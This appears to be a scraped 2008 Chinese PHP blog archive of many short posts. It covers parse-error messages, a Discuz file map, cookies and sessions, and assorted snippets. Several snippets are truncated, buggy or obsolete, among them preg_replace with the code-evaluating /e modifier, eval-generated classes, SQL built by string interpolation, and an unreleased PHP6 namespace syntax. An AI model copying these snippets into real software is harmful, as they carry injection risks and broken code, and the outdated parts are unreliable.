2008年11月6日星期四
如何正确理解 PHP 的错误信息
我们编写程序时,无论怎样小心谨慎,犯错总是在所难免的。这些错误通常会迷惑PHP编译器。如果开发人员无法了解编译器报错信息的含义,那么这些错误信息不仅毫无用处,还会常常让人感到沮丧。
编译PHP脚本时,PHP编译器会尽其所能报告它遇到的第一个问题。这样就产生一个问题:只有当错误出现时,PHP才能将它识别出来(本文后面对此问题进行了详细描述)。正是由于这个缘故,编译器指出出错的那行,从表面上看来可能语法正确无误,或者可能是根本就不存在的一行!
更好地理解错误信息可以大大节省确定并改正错误内容所花费的时间。因此,在本文中,我将努力阐明多种不同类型的PHP报错信息,以及在开发过程中如何正确理解各种报错信息的含义。
本文中所讲述的内容与您所应用的PHP的版本无关,因为本文所描述的各种错误并不限定于某一特殊版本的特定错误。另外我们假定您是一位初级或者中级程序员,并已经从事编程工作有半年或一年的时间。
编译器的工作方式
要搞清楚编译器为什么会报告某一行上存在错误,首先必须明确编译器解析PHP代码的机制。我并不打算在本文中对此进行详细论述,但是,我们将会讨论一些更易于引发错误的简单概念。
变量声明
如果在一条语句中声明一个变量,具体方式如下所示:
$variable = 'value';
编译器首先求出语句右半部分的值(即等号右边的所有内容)。在一些编程书籍中,将此表示为语句的 RHS (右半部分)。恰恰正是语句的这一部分常常会引发错误。如果使用的语法不正确,就会出现解析错误。
解析错误
Parse error:解析错误,unexpected T_WHILE in c:program filesapache groupapachehtdocsscript.php on line 19
每次确定了前一错误时,解析错误一个接一个地不断出现。因为PHP在第一个解析错误之后就停止执行脚本,调试并纠正这一系列的错误往往会让人觉得特别厌烦。
而且,解析错误具有很少的信息,几乎不报告错误所在的行号。具体原因就是当出现错误时,编译器判定好几行的语法看起来应该是有效的,直至遇到无效的语法,最可能的情形就是表达式中使用了预定义的字词,例如;
while = 10; // Bad ? while 就是一个预定义字词,不能分配给一个值
预定义的字词包括 while、function等,如果PHP使用 uses to evaluate your code. 您不能使用这些预定义字词来命名变量,而且如果您非要这样做的话,PHP就会报出更多的错误,这是您无法忍受。
关于这个问题,下面的示例可能会对您有所帮助。请咨询阅读一下下面所示的PHP 代码:
$b = "somevalue"
if($b == "somevalue"){
print "Hello world!";
}
?>
错误位于"$b ="一行(在语句的末端缺少分号),所以错误应该是"解析错误:第3行缺少分号"对吧?而不应该依据解析器判定的:
rse error: parse error, unexpected T_IF in c:program filesapachegroupapachehtdocsereg2.php on line 4
在第4行,if() 语句的语法是正确的。那么,编译器是被什么给搞糊涂了呢?线索就是"unexpected T_IF" 部分。出现 "unexpected T_???"错误时,它所表示的含义为:编译器发现在预定义字不应该出现的位置出现。T_IF 代表 if(), T_WHILE 代表 while(), T_FOR 代表 for()等。
值得庆幸的是,一些错误的原因也很简单:
语句没有使用分号(;)结束,比如上面的示例。字符串中缺少引号。
其他一些常见的错误
我见过的最常见的错误就是,当没有使用大括号( } )结束一个函数或者一个循环时出现的错误,这很可能是最常见,最让人烦的错误。具体代码如下:
function UselessFunction() {
for($i < 0; $i < 10; $i++){
}
?>
将产生下列错误:
Parse error: parse error, unexpected $ in c:program filesapache groupapachehtdocsereg2.php on line 9
由于函数 UselessFunction 没有使用大括号( } )来结束,PHP编译器不断查找表示结束的大括号直至到达文件末尾为止。因为编译器未找到一个匹配的大括号,就会报告文件末尾处有错误。
如果正确地反映了代码的层次结构,错误信息就会变得非常明显。如果没有标明代码的层次结构,那么最后要想查清楚到底忘记了什么也会变得几乎是不可能的。所以,请记住,一定要标明代码的层次结构。Tab键可以很容易地实现这一点。对后续的开发人员来说,把握代码框架并对其进行修改也会更容易一些。
MySQL 错误
另一极其令人讨厌的错误信息就是最常见的MySQL错误,这常常使 PHP新手感到颇为头疼:
Warning: Supplied argument is not a valid MySQL result resource in...
上面所报告有错的一行可能是:
while($row = mysql_fetch_array($result)) {
参数 $result并不是一个有效的资源。在英语中它表示因为查询失败,将无法处理mysql_fetch_array。任一查询的语法无效(您应该将查询复制-粘贴到MySQL 控制台参考来进行测试),或者与数据库的连接失败(这种情况下您应该再次检查用户名和口令等)。
防止错误发生
第一步,智能代码器可采取以下几步来消除下列错误出现:
· 在每一条语句的末尾处,不必考虑添加分号——这应该成为一种习惯。
· 总是要尽可能标明代码的层次结构,这可以使您能够查看是否忘记在if 调用或函数末端等位置添加大括号。
· 请使用可突出显示语法的编辑器(如 HTML-Kit)。有了这类编辑器的辅助,您就能确定是否忘记了添加引号,是否缺少分号等。
结论
本文我们对PHP编译器可报出的一些看起来可能没有什么意义的错误有了一定的了解。我们需要将所学的知识应用到如何避免错误以及错误出现时如何纠正错误。调试是一个开发人员所有工作中的最重要的部分之一。提高调试效率可大大加快整个工作的进度,缩短完成一项工程所需花费的时间,同时还可以明显减轻代码失败所带来的精神压力。
用PHP实现JS的escape和unescape函数功能
3 preg_match_all("/[\x80-\xff].|[\x01-\x7f]+/",$str,$r);
4 $ar = $r[0];
5 foreach($ar as $k=>$v) {
6 if(ord($v[0]) < 128)
7 $ar[$k] = rawurlencode($v);
8 else
9 $ar[$k] = "%u".bin2hex(iconv("GB2312","UCS-2",$v));
10 }
11 return join("",$ar);
12 }
13 function unescape($str) {
14 $str = rawurldecode($str);
15 preg_match_all("/(?:%u.{4})|.+/",$str,$r);
16 $ar = $r[0];
17 foreach($ar as $k=>$v) {
18 if(substr($v,0,2) == "%u" && strlen($v) == 6)
19 $ar[$k] = iconv("UCS-2","GB2312",pack("H4",substr($v,-4)));
20 }
21 return join("",$ar);
22 }
23
24
25 $a="\u4e2d\u897f\u533a";
26 $a=str_replace('\\','%',$a);
27 echo unescape($a);
28 ?>
整理的Discuz程序文件目录含义表
功能增强型HACK挺简单,因为代码修改量不多,而且一般以改代码为主;说难,因为一般不好找文件,而且一旦对程序结构不熟悉,马上陷入迷坑。
这里先简单说下Discuz!的所有文件,目前所代表的含义,方便大家修改时候避免找不到改哪个文件。这是个基本功,一定要熟练~熟悉了文件的话,随便做个功能增强型HACK根本就是不费吹灰之力的事情。
先说根文件:
admincp.php——后台系统设置程序文件,一般只处理菜单的显示的访问权限,不处理管理控制。
attachment——附件文件,仅仅处理附件下载的功能。
announcement.php——论坛公告的显示,一般很少改
blog.php——浏览BLOG文章时候会用的,非常容易理解
config.inc.php——配置论坛数据库、密码等信息,这个大家最熟悉了
digest.php——论坛精华区的信息显示,不用多说了吧?
discuz_version.php——论坛版本信息,用来更新用的,没有官方说明绝对不要修改
faq.php——论坛帮助系统,不过我看绝对没人用
forumdisplay.php——很简单,论坛主题列表的显示
index.php——控制首页元素显示
logging.php——登陆系统,判断用户名、密码。
mail_config.inc.php——配置论坛EMAIL功能
member.php——控制会员列表显示,积分策略等等信息显示
memcp.php——会员控制面板
misc.php——控制评分功能、BLOG、论坛界面显示功能等等
plugin.php——论坛插件,这个主要控制论坛插件的菜单的显示,一般极少修改
pm.php——论坛短信息程序,控制短信息发表与浏览
post.php——与viewthread.php相似,但是更多是管理帖子发表、编辑等等信息,也会有权限的控制提示
redirect.php——控制显示论坛的最后发表的主题访问
register.php——注册文件,同时也会控制注册的信息的合法性
rss.php——RSS快速订阅,不用多说了吧?
search.php——处理论坛搜索功能中的信息筛选
seccode.php——论坛注册,生成验证码的程序
stats.php——处理统计中的统计信息
topic.php——一般无法直接访问,控制页面显示,显示主题条数
topicadmin.php——控制的是管理人员的前台管理操作,如精华、置顶、高亮等等
viewpro.php——处理浏览会员信息的内容显示
viewthread.php——处理浏览帖子时候的帖子信息显示,例如信息、标题等等,同时也处理访问帖子的权限,如阅读权限是否足够等等。
接着开始说文件夹里面的文件了,一个个开始:
有人会问,那个空index.htm是干什么用的,我可以回复,那是防止列目录查看文件用的,避免安全问题。
admin=== (管理后台的程序文件,全部在这里,仅能通过admincp.php来访问)
标记红色的文件最好别动,毕竟主程序被加密,而且也是违背官方授权协议的。
home.inc.php——后台首页内容
settings.inc.php——Discuz!选项下的所有小分类
passport.inc.php——一堆通行证的东西
avatarshow.inc.php——天下秀
qihoo.inc.php——奇虎搜索
forums.inc.php——论坛编辑下面所有子分类
members.inc.php——添加用户、编辑用户、合并用户、用户栏目定制
groups.inc.php——分组与级别下所有子分类
announcements.inc.php——只有论坛公告发布的管理
styles.inc.php——风格管理
templates.inc.php——模板在线编辑
moderate.inc.php——一堆审核,审核新用户、审核新主题、审核新回复
recyclebin.inc.php——单独的回收站程序
ecommerce.inc.php——支付宝,不过最好别动
misc.inc.php——勋章编辑、在线列表定制、联盟论坛、计划任务、Discuz! 代码、词语过滤、Smilies 编辑、附件类型尺寸、积分交易记录,管理得真多,甚至连后台的退出功能也归这个文件管。
advertisements.inc.php——广告管理
database.inc.php——资料备份、资料恢复、数据库升级、数据表优化
attachments.inc.php——编辑附件,只有一个
counter.inc.php——更新论坛统计
threads.inc.php——批量主题管理
prune.inc.php——批量删帖、清理短消息
plugins.inc.php——插件设置、插件管理
logs.inc.php——运行记录,除了积分交易记录以外的所有记录
tools.inc.php——管理更新缓存、JS 调用向导、文件权限检查
menu.inc.php——后台左边那个好长的导航菜单就是了
Api目录的文件是全部被加密过的,无法修改也不能修改,详情见官方授权协议。
archiver==(特别说明下,因为archiver中的目录的文件没有调用commom.inc.php,所以所有变量、函数都不能直接使用,必须要搜索数据库来进行判断)
index.php archiver首页
include==
thread.inc.php archiver主题显示
index.inc.php 这个是过滤论坛权限和界面显示用的
header.inc.php archiver风格控制
forum.inc.php archiver论坛显示
attachments是论坛附件的存放目录
customavatars是论坛头像的存放目录
forumdata是论坛记录和缓存文件的存放目录,一般这些文件都是自动生成的,所以不要修改。至于有什么用途也说下吧。
cache==(很好用的功能,调用的这里的文件变量是非常快的)
admingroup_X.php 管理组权限
cache_bbcodes.php BBCODE和SMILES
cache_blog.php 所有用户组的权限变量和smilies、bbcode,还有发帖数等级的信息
cache_censor.php 屏蔽信息
cache_crons.php 计划任务
cache_forumdisplay.php 论坛信息与公告
cache_forums.php 同上
cache_index.php 在线列表、联盟论坛、公告
cache_ipbanned.php 封IP段记录
cache_medals.php 勋章信息
cache_post.php smilies、bbcode、icons
cache_profilefields.php 暂时不清楚
cache_settings.php setting表设置的参数变量
cache_viewthread.php 论坛,用户组,smilies、bbcode、icons
plugin_XX.php 插件表
style_XX.php 风格缓存
usergroup_XX.php 用户组缓存
templates==(升成的模板PHP,比较少做插件会用到,忽略)
根部的一些LOG文件就是后台记录文件了。
images是图片目录,忽略过~
include是论坛核心程序目录,非常有必要去了解。
crons==(这里是计划任务文件,你可以增加自己的计划任务,而且可以调用系统变量)
tables==(几个语言文件,很少改,跳过)
serverbusy.htm 系统错误信息
bbcode.js Discuz!代码JS效果文件
common.js 主要是DZ常用的模板函数文件,可以直接用
floatadv.js 广告用的
qihoo.js 奇虎的文件,不改
threadpay.inc.php 出售帖
template.func.php 控制模板缓存生成的文件
sendmail.inc.php 发送EMAIL的程序
security.inc.php 好像是代理一类的,不管
relatethreads.inc.php 应该说是生成相关主题的程序
promotion.inc.php 记录当前用户的IP等信息
printable.inc.php 打印主题用的程序
post.func.php 不错的函数文件,主要是记录信息、更新帖子的函数
pmprompt.inc.php 短信息内容处理
newthread.inc.php 发新话题的信息处理
newreply.inc.php 发回复的信息处理
misc.func.php 又是函数文件,控制管理PM,评分PM,评分记录,附件高亮显示,IP转换为地理位置
global.func.php 丰富的函数库,都是前台用的,如除去HTML、发PM、发EMAIL等等,建议大家研究下。
forum.func.php 处理论坛信息用的函数,如论坛菜单下拉等等
editpost.inc.php 编辑帖子的信息处理
discuzcode.func.php Discuz!代码转换处理程序
db_mysql_error.inc.php 数据库错误汇报
db_mysql.class.php 数据库中心操作程序
cron.func.php 控制计划任务执行的程序
counter.inc.php 记录操作系统与浏览器的统计
common.inc.php 最重要的核心程序,读取COOKIES信息,定义全局系统函数变量
chinese.class.php 处理乱码和字符集用的
category.inc.php 控制帖数,今日发帖数的统计
cache.func.php 控制生成缓存文件的程序
blog.func.php 在BLOG发帖时信息处理会用到
attachment.func.php 识别附件拓展名,控制附件前面显示类别图片的程序, 还有附件大小的记录判断
advertisements.inc.php 处理广告显示用的
ipdata==(IP库文件目录,下面那个wry.dat就是IP库,这个我不会改)
plugins==(插件存放目录)
templates==(模板目录,一般做HACK也要改模板,因此说明下)
default==(默认模板,从这个开始,其它风格以此类推)
announcement.htm 公告
blog.htm BLOG首页
blog_addremove.htm 移除添加BLOG
blog_list.htm BLOG列表
blog_topic.htm BLOG中主题显示
credits.htm 积分策略
css.htm 做风格用的,不过我不懂
customtopics.htm 首页那个用户专题
digest.htm 精华区主题
emailfriend.htm EMAIL推荐主题
faq.htm FAQ帮助手册,下面都是,只不过显示部分不一样,省略。
footer.htm 论坛底部信息
forumdisplay.htm 论坛主题列表
forumdisplay_subforum.htm 二级论坛列表
getpasswd.htm 取回密码
groupexpiry.htm 公众用户组
header.htm 头部连接
index.htm 首页
login.htm 登录页面
login_secques.htm 登录时安全提问
lostpasswd.htm 取回密码
memberlist.htm 会员列表,上面那个
memcp_credits.htm 控制面板——积分交易
memcp_home.htm 控制面板——首页
memcp_misc.htm 控制面板——好友列表、订阅列表、收藏夹
memcp_navbar.htm 控制面板——上面那个菜单条
memcp_profile.htm 控制面板——编辑个人资料
memcp_usergroups.htm 控制面板——公众用户组
nopermission.htm 关闭论坛显示的提示页
pay.htm 买帖子
pay_view.htm 看帖子被谁买了
pm.htm 短信息左边菜单条
pm_archive.htm 导出短消息
pm_archive_html.htm 导出短消息HTML
pm_folder.htm 好像就是列表而已
pm_ignore.htm 忽略列表
pm_search.htm 搜索短消息
pm_search_result.htm 搜索短消息结果
pm_send.htm 发送短消息
pm_view.htm 浏览短信息,内容更详细
pmprompt.htm 首页新短信提示
post_attachments.htm 发帖子的附件模块
post_bbinsert.htm 一堆BBCODE
post_editpost.htm 编辑帖子
post_newreply.htm 回复主题
post_newthread.htm 发新话题
post_preview.htm 主题回顾
post_seccode.htm 验证码
post_smilies.htm SMILES
post_sminsert.htm 快速发帖栏
rate.htm 评分
rate_view.htm 评分记录浏览
register.htm 注册
reportpost.htm 主题报告
search.htm 搜索主页
search_blog.htm 搜索BLOG列表
search_threads.htm 搜索后的帖子列表
showmessage.htm 系统返回错误信息那个
stats_main.htm 统计首页
stats_misc.htm 管理统计、时间、积分等等一堆
stats_navbar.htm 统计上面那个菜单条
stats_onlinetime.htm 时间统计
stats_team.htm 管理团队
topic.htm 又是QIHOO的随机广告
topicadmin_bump.htm 提升主题
topicadmin_delpost.htm 删除主题
topicadmin_getip.htm 查看IP
topicadmin_merge.htm 合并主题
topicadmin_moderate.htm 高亮、置顶、精华一堆~
topicadmin_move.htm 移动主题
topicadmin_reason.htm 管理理由填写
topicadmin_refund.htm 强制退款
topicadmin_split.htm 分割主题
topicadmin_stick.htm 置顶
viewpro.htm 会员详细信息查看
viewthread.htm 浏览帖子
viewthread_mod.htm 帖子管理记录
viewthread_pay.htm 帖子支付页面
viewthread_poll.htm 投票框
viewthread_printable.htm 打印主题
whosonline.htm 详细的在线动作
actions.lang.php 动作语言包
admincp.lang.php 后台语言包
archiver.lang.php archiver语言包
customfaq.lang.php FAQ手册的语言包
emails.lang.php 一堆EMAIL信息
messages.lang.php 错误信息语言包
misc.lang.php 像最后编辑,由谁管理等等
modactions.lang.php 管理代号
pms.lang.php PM,都是管理理由
templates.lang.php 前台模板的语言包
wap.lang.php wap用的语言包
wap==(WAP支持程序,一般很少改,忽略)
COOKIE与Session知识
cookie 是一种在远程浏览器端储存数据并以此来跟踪和识别用户的机制。
PHP在http协议的头信息里发送cookie, 因此 setcookie() 函数必须在其它信息被输出到浏览器前调用,这和对 header() 函数的限制类似。
1.1 设置cookie:
可以用 setcookie() 或 setrawcookie() 函数来设置 cookie。也可以通过向客户端直接发送http头来设置.
1.1.1 使用setcookie()函数设置cookie:
bool setcookie ( string name [, string value [, int expire [, string path [, string domain [, bool secure [, bool httponly]]]]]] )
name: cookie变量名
value: cookie变量的值
expire: 有效期结束的时间,
path: 有效目录,
domain: 有效域名,顶级域唯一
secure: 如果值为1,则cookie只能在https连接上有效,如果为默认值0,则http和https都可以.
例子:
设置多个cookie变量: setcookie('var[a]','value');用数组来表示变量,但他的下标不用引号.这样就可以用$_COOKIE[‘var’] [‘a’]来读取该COOKIE变量
1.1.2. 使用header()设置cookie;
header("Set-Cookie: name=$value[;path=$path[;domain=xxx.com[;...]]");
后面的参数和上面列出setcookie函数的参数一样.
比如:
$value = 'something from somewhere';
header("Set-Cookie:name=$value");
1.2 Cookie的读取:
直接用php内置超级全局变量 $_COOKIE就可以读取浏览器端的cookie.
上面例子中设置了cookie"TestCookie",现在我们来读取:
print $_COOKIE['TestCookie'];
COOKIE是不是被输出了?!
1.3 删除cookie
只需把有效时间设为小于当前时间, 和把值设置为空.例如:
setcookie("name","",time()-1);
用header()类似.
1.4 常见问题解决:
1) 用setcookie()时有错误提示,可能是因为调用setcookie()前面有输出或空格.也可能你的文档使从其他字符集转换过来,文档后面可能带有BOM签名(就是在文件内容添加一些隐藏的BOM字符).解决的办法就是使你的文档不出现这种情况.还有通过使用ob_start()函数有也能处理一点.
2) $_COOKIE受magic_quotes_gpc影响,可能自动转义
3) 使用的时候,有必要测试用户是否支持cookie
1.5 cookie工作机理:
有些学习者比较冲动,没心思把原理研究,所以我把它放后面.
a) 服务器通过随着响应发送一个http的Set-Cookie头,在客户机中设置一个cookie(多个cookie要多个头).
b) 客户端自动向服务器端发送一个http的cookie头,服务器接收读取.
HTTP/1.x 200 OK
X-Powered-By: PHP/5.2.1
Set-Cookie: TestCookie=something from somewhere; path=/
Expires: Thu, 19 Nov 2007 18:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html
这一行实现了cookie功能,收到这行后
Set-Cookie: TestCookie=something from somewhere; path=/
浏览器将在客户端的磁盘上创建一个cookie文件,并在里面写入:
TestCookie=something from somewhere;
/
这一行就是我们用setcookie('TestCookie','something from somewhere','/');的结果.也就是用header('Set-Cookie: TestCookie=something from somewhere; path=/');的结果.
--------------------------------------------------------------------------------
2. PHP的Session
session 使用过期时间设为0的cookie,并且将一个称为session ID的唯一标识符(一长串字符串),在服务器端同步生成一些session文件(可以自己定义session的保存类型),与用户机关联起来.web应用程序存贮与这些session相关的数据,并且让数据随着用户在页面之间传递.
访问网站的来客会被分配一个唯一的标识符,即所谓的会话 ID。它要么存放在客户端的 cookie,要么经由 URL 传递。
会话支持允许用户注册任意数目的变量并保留给各个请求使用。当来客访问网站时,PHP 会自动(如果 session.auto_start 被设为 1)或在用户请求时(由 session_start() 明确调用或 session_register() 暗中调用)检查请求中是否发送了特定的会话 ID。如果是,则之前保存的环境就被重建。
2.1 sessionID的传送
2.1.1 通过cookie传送sessin ID
使用session_start()调用session,服务器端在生成session文件的同时,生成session ID哈希值和默认值为PHPSESSID的session name,并向客户端发送变量为(默认的是)PHPSESSID(session name),值为一个128位的哈希值.服务器端将通过该cookie与客户端进行交互.
session变量的值经php内部系列化后保存在服务器机器上的文本文件中,和客户端的变量名默认情况下为PHPSESSID的coolie进行对应交互.
即服务器自动发送了http头:header('Set-Cookie: session_name()=session_id(); path=/');
即setcookie(session_name(),session_id());
当从该页跳转到的新页面并调用session_start()后,PHP将检查与给定ID相关联的服务器端存贮的session数据,如果没找到,则新建一个数据集.
2.1.2 通过URL传送session ID
只有在用户禁止使用cookie的时候才用这种方法,因为浏览器cookie已经通用,为安全起见,可不用该方法.
=">xxx,也可以通过POST来传递session值.
2.2 session基本用法实例
2.3 使用session函数控制页面缓存.
2.4 删除session
2.5 session在PHP大型web应用中的使用
对于访问量大的站点,用默认的session存贮方式并不适合,目前最优的方法是用数据库存取session.这时,函数bool session_set_save_handler ( callback open, callback close, callback read, callback write, callback destroy, callback gc )就是提供给我们解决这个问题的方案.
该函数使用的6个函数如下:
1. bool open() 用来打开会话存储机制,
2. bool close() 关闭会话存储操作.
3. mixde read() 从存储中装在session数据时使用这个函数
4. bool write() 将给定session ID的所有数据写到存储中
5. bool destroy() 破坏与指定的会话ID相关联的数据
6. bool gc() 对存储系统中的数据进行垃圾收集
例子见php手册session_set_save_handler() 函数.
如果用类来处理,用
session_set_save_handler(
array('className','open'),
array('className','close'),
array('className','read'),
array('className','write'),
array('className','destroy'),
array('className','gc'),
)
调用className类中的6个静态方法.className可以换对象就不用调用静态方法,但是用静态成员不用生成对象,性能更好.
2.6 常用session函数:
bool session_start(void); 初始化session
bool session_destroy(void): 删除服务器端session关联文件。
string session_id() 当前session的id
string session_name() 当前存取的session名称,也就是客户端保存session ID的cookie名称.默认PHPSESSID。
array session_get_cookie_params() 与这个session相关联的session的细节.
string session_cache_limiter() 控制使用session的页面的客户端缓存
ini session_cache_expire() 控制客户端缓存时间
bool session_destroy() 删除服务器端保存session信息的文件
void session_set_cookie_params ( int lifetime [, string path [, string domain [, bool secure [, bool httponly]]]] )设置与这个session相关联的session的细节
bool session_set_save_handler ( callback open, callback close, callback read, callback write, callback destroy, callback gc )定义处理session的函数,(不是使用默认的方式)
bool session_regenerate_id([bool delete_old_session]) 分配新的session id
2.7 session安全问题
攻击者通过投入很大的精力尝试获得现有用户的有效会话ID,有了会话id,他们就有可能能够在系统中拥有与此用户相同的能力.
因此,我们主要解决的思路是效验session ID的有效性.
2.8 Session通过cookie传递和通过SID传递的不同:
在 php5.2.1的session的默认配置的情况下,当生成session的同时,服务器端将在发送header set-cookie同时生成预定义超级全局变量SID(也就是说,写入cookie和抛出SID是等价的.), 当$_COOKIE['PHPSESSID']存在以后,将不再写入cookie,也不再生成超级全局变量SID,此时,SID将是空的.
2.9 session使用实例
注明:
session 出现头信息已经发出的原因与cookie一样.
在php5中,所有php session 的注册表配置选项都是编程时可配置的,一般情况下,我们是不用修改其配置的.要了解php的session注册表配置选项,请参考手册的Session 会话处理函数处.
session的保存数据的时候,是通过系列化$_SESSION数组来存贮,所以有系列化所拥有的问题,可能有特殊字符的值要用base64_encode函数编码,读取的时候再用base64_decode解码
截取中文字符串的函数
function ch_left($s, $len){
if(strlen($s)>$len)
$s=substr($s, 0, $len);
$ch='['.chr(0x81)-chr(0xff).']';
if(preg_match("/$ch($ch{2})*$/", $s))
$s=substr($s,0,-1);
return $s;
}
echo ch_left($s,8);
?>
php代码实现字符串的16进制编码解码
return preg_replace('/(.)/es',"str_pad(dechex(ord('\\1')),2,'0',STR_PAD_LEFT)",$s);
}
function hexDecode($s) {
return preg_replace('/(\w{2})/e',"chr(hexdec('\\1'))",$s);
}
echo hexDecode(hexEncode("北京\n欢迎您!"));
?>
php中访问对象protected成员的一种方法
* ZxProtectedAccessor
*
* ZxProtectedAccessor 提供了访问对象protected属性的途径。
*
* @copyright Copyright Zhenye Xie 2006. All rights reserved.
* @author Zhenye Xie
* @version 0.8
* @package common
*/
class ZxProtectedAccessor {
private static $classes=array();
private static function generateAccessor($class){
$accClass=self::getAccessorClassName($class);
if(!class_exists($accClass)){
$code='class '.$accClass.' extends '.$class.' { ';
$code.='static function &_zx_get_var_($obj,$var){return $obj->$var;}';
$code.='static function _zx_set_var_($obj,$var,$value){$obj->$var=$value;}}';
eval($code);
}
}
function &get($object, $var){
$class=get_class($object);
self::generateAccessor($class);
$ret=call_user_func(array(self::getAccessorClassName($class),
'_zx_get_var_'),$object,$var);
return $ret;
}
function set($object, $var, $value){
$class=get_class($object);
self::generateAccessor($class);
$ret=call_user_func(array(self::getAccessorClassName($class),
'_zx_set_var_'),$object,$var,$value);
return $ret;
}
private static function getAccessorClassName($className){
return '_Zx_Protected_Accessor__'.$className;
}
}
php打包工具Phar
弄了半天一直没搞成,昨天晚上终于成功了。弄明白了几点:
首先,phar不是tar压缩文件,可以用那个creator生成。
用的时候先要直接include那个phar文件。
每个phar文件里面必须有一个index.php。
include了那个phar文件以后才可以用
include "phar://......"这种形式。
php下AOP的一个实现办法
class Target {
function add($a, $b){
echo $a + $b."\n";
}
}
runkit_method_rename('Target', 'add', '#add');
例:
runkit_method_add('Target','add','$a,$b','
echo "before call\n";
$ret = $this->{"#add"}($a,$b);
echo "after call\n";
return $ret;
');
$t = new Target;
$t->add(1, 3);
runkit Functions
php错误处理类
/**
* 错误处理类
*
* 用法:
* ErrorHandler::begin();
* //要捕获错误的代码
* $errors = ErrorHandler::end();
* 可以嵌套使用。
*
* 本类只捕获错误,不捕获异常。如需捕获异常,请使用try-catch。
*
*
* @author XieZhenye
*/
class ErrorHandler{
private static $error = array();
function begin(){
set_error_handler(array(__CLASS__, '_errorHandler'));
array_push(self::$error, array());
}
function _errorHandler($errno, $errstr, $errfile, $errline){
if($errno == E_STRICT)
return;
$errInfo = array('errno'=>$errno, 'errstr'=>$errstr,
'errfile'=>$errfile, 'errline'=>$errline);
array_push(self::$error[count(self::$error)-1], $errInfo);
}
function end(){
restore_error_handler();
$ret = end(self::$error);
array_pop(self::$error);
return $ret;
}
}
?>
用PHP检测字符串是否是utf8编码
function is_utf8($string) {
// From http://w3.org/International/questions/qa-forms-utf-8.html
return preg_match('%^(?:
[\x09\x0A\x0D\x20-\x7E] # ASCII
| [\xC2-\xDF][\x80-\xBF] # non-overlong 2-byte
| \xE0[\xA0-\xBF][\x80-\xBF] # excluding overlongs
| [\xE1-\xEC\xEE\xEF][\x80-\xBF]{2} # straight 3-byte
| \xED[\x80-\x9F][\x80-\xBF] # excluding surrogates
| \xF0[\x90-\xBF][\x80-\xBF]{2} # planes 1-3
| [\xF1-\xF3][\x80-\xBF]{3} # planes 4-15
| \xF4[\x80-\x8F][\x80-\xBF]{2} # plane 16
)*$%xs', $string);
}
准确率基本和mb_detect_encoding一样,要对一起对,要错一起错。
编码检测不可能100%准确,这个东西已经可以基本满足要求了。
PHP筛法找质数
define('MAX_NUM', 1000000);
$all = array_fill(0,MAX_NUM,0);
for ($i = 2; $i < MAX_NUM; $i++) {
if ($all[$i] == 0) {
echo $i,"\n"; //测试性能时去掉这行。输出会占据大部分时间。
for ($j = $i; $j < MAX_NUM; $j+=$i) {
$all[$j] = 1;
}
}
}
补充:
array_fill() 用 value 参数的值将一个数组填充 num 个条目,键名由 start_index 参数指定的开始。注意 num 必须是一个大于零的数值,否则 PHP 会发出一条警告。
PHP6的namespace[命名空间]
这次的namespace实现和当初的实现有所不同,更接近于C++的语法。
声明namespace时在文件里加上例如
namespace blogbus::test;
function foo(){
echo "foo";
}
class Test{
function bar(){
echo "bar";
}
}
该文件中的类和函数:foo,Test就属于blogbus::test的命名空间。在其他文件包含该文件后,可以用 blogbus::test::foo()来调用函数,用blogbus::test::Test来使用类。如果只是这样的话那打字还是很麻烦的。所以可以使用
import blogbus::test::Test;
之后就可以直接用Test了。也可以
import blogbus;
之后可以用test::Test来使用。可惜目前的实现没有类似Java的import xxx.*; 或是python的from xxx import *;这样的语法。要导入许多东西的时候还是有些麻烦。
既然namespace是为了解决命名冲突的问题,那么使用import来节省打字,保护键盘的时候还是需要避免import进来的东西和原有的东西重名的问题。所以import还可以这样用:import blogbus::test::Test as Blogbus。这时,就可以用Blogbus这个名字来使用blogbus::test::Test。你可以$test = new Blogbus();然后echo get_class($test);看看结果,会发现输出的仍然是blogbus::test::Test。
用PHP实现的事件机制
class Event {
private $callbacks = array();
private $holder;
function __construct() {
$bt = debug_backtrace();
if (count($bt) < 2) {
$this->holder = null;
return;
}
$this->holder = &$bt[1]['object'];
}
function attach() {
$args = func_get_args();
switch (count($args)) {
case 1:
if (is_callable($args[0])) {
$this->callbacks[]= $args[0];
return;
}
break;
case 2:
if (is_object($args[0]) && is_string($args[1])) {
$this->callbacks[]= array(&$args[0], $args[1]);
}
return;
default:
return;
}
}
function notify() {
$bt = debug_backtrace();
if ($this->holder &&
((count($bt) >= 2 && $bt[count($bt) - 1]['object'] !== $this->holder)
|| (count($bt) < 2))) {
throw(new Exception('Notify can only be called in holder'));
}
foreach ($this->callbacks as $callback) {
$args = func_get_args();
call_user_func_array($callback, $args);
}
}
}
关于include的返回值
//1.php
$ret = include '2.php';
echo "$ret\n"; //输出shifen.blogspot.com
?>
//2.php
return 'shifen.blogspot.com';
?>
从1.php的输出就可以看到,这里include的返回值就是2.php中return的那个'shifen.blogspot.com'。
这个特性有什么用呢? 我是利用它来方便地使用php文件来做配置。比如,一个配置文件可以这么写:
//config.php
return array(
'db'=>array(
'host' => 'localhost',
'user' => 'root',
'password' => 'wakaka',
'name' => 'test',
'encoding' => 'utf8'
)
);
载入的时候,只需要$conf = include 'config.php';就可以了。
berkery db VS mysql myisam
测试代码:
$max = 100000;
ini_set('display_errors', 1);
error_reporting(E_ALL);
$conn = mysql_connect('localhost', 'test', '.....');
mysql_select_db('test', $conn);
mysql_query('truncate table test_kv', $conn);
$t = microtime(true);
for($i = 0; $i < $max; $i++){
$key = 'key' . $i;
mysql_query("insert into test_kv(`key`,`value`) values('$key','$i')", $conn);
}
echo microtime(true) - $t, "\n";
$t = microtime(true);
for($i = 0; $i < $max; $i++){
$key = 'key' . $i;
$rs = mysql_query("select `value` from test_kv where `key`='$key'");
$row = mysql_fetch_row($rs);
}
echo microtime(true) - $t, "\n";
dl('dba.so');
//print_r(dba_handlers(i));
$db = dba_open('test.db', 'n', 'db4');
$t = microtime(true);
for($i = 0; $i < $max; $i++){
$key = 'key' . $i;
dba_insert($key, $i, $db);
}
echo microtime(true) - $t, "\n";
$t = microtime(true);
for($i = 0; $i < $max; $i++){
$key = 'key' . $i;
dba_fetch($key, $db);
}
echo microtime(true) - $t, "\n";
结果
12.7905659676
58.7637891769
1.14525485039
0.541149139404
前面两行是mysql的结果,后面两行是berkery db 4的结果,分别是插入100000条和读取100000条记录消耗的时间。 如果是存取key-value的数据,又不需要在服务器间共享的话可以考虑使用berkery db。
PHP生成静态页的方法
